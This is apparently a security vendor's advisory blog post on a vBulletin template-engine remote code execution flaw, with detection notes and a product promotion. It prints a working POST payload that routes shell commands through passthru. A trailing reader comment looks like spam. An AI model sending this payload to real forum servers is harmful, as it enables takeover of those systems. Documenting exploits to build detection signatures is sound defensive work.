vBulletin 'replaceAdTemplate' - Remote Code Execution (CVE-2025-48828)

Jun 13, 2025
1 min read

Application Details

vBulletin is a proprietary Internet forum software package..

Vulnerability

Certain vBulletin versions might allow attackers to execute arbitrary PHP code by abusing Template Conditionals in the template engine.

Identification

By crafting template code in an alternative PHP function invocation syntax, such as the "var_dump"("test") syntax, attackers can bypass security checks and execute arbitrary PHP code.

POST /vb

PAYLOAD - 
routestring=ajax/api/ad/replaceAdTemplate&styleid=1&location=rce&template=<vb:if condition='"passthru"($_POST["cmd"])'></vb:if>

Detection

By turning this into a traffic file and matching rule, we are able to detect attempts to execute arbitrary PHP code., on the system.

Coverage

Idappcom have created signature 8026022 along with a traffic file for this vulnerability.

References

Traffic IQ

If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional

1 Comment

rozzoadel88

2 days ago

The detailed explanation of how attackers can abuse Template Conditionals, especially with the var_dump("test") syntax, really highlights the cleverness involved in bypassing security measures. It makes me wonder about the broader implications for forum administrators, particularly those managing older or less actively maintained vBulletin installations. This kind of RCE could be devastating for any online community, perhaps even as vital as a town of salem forum.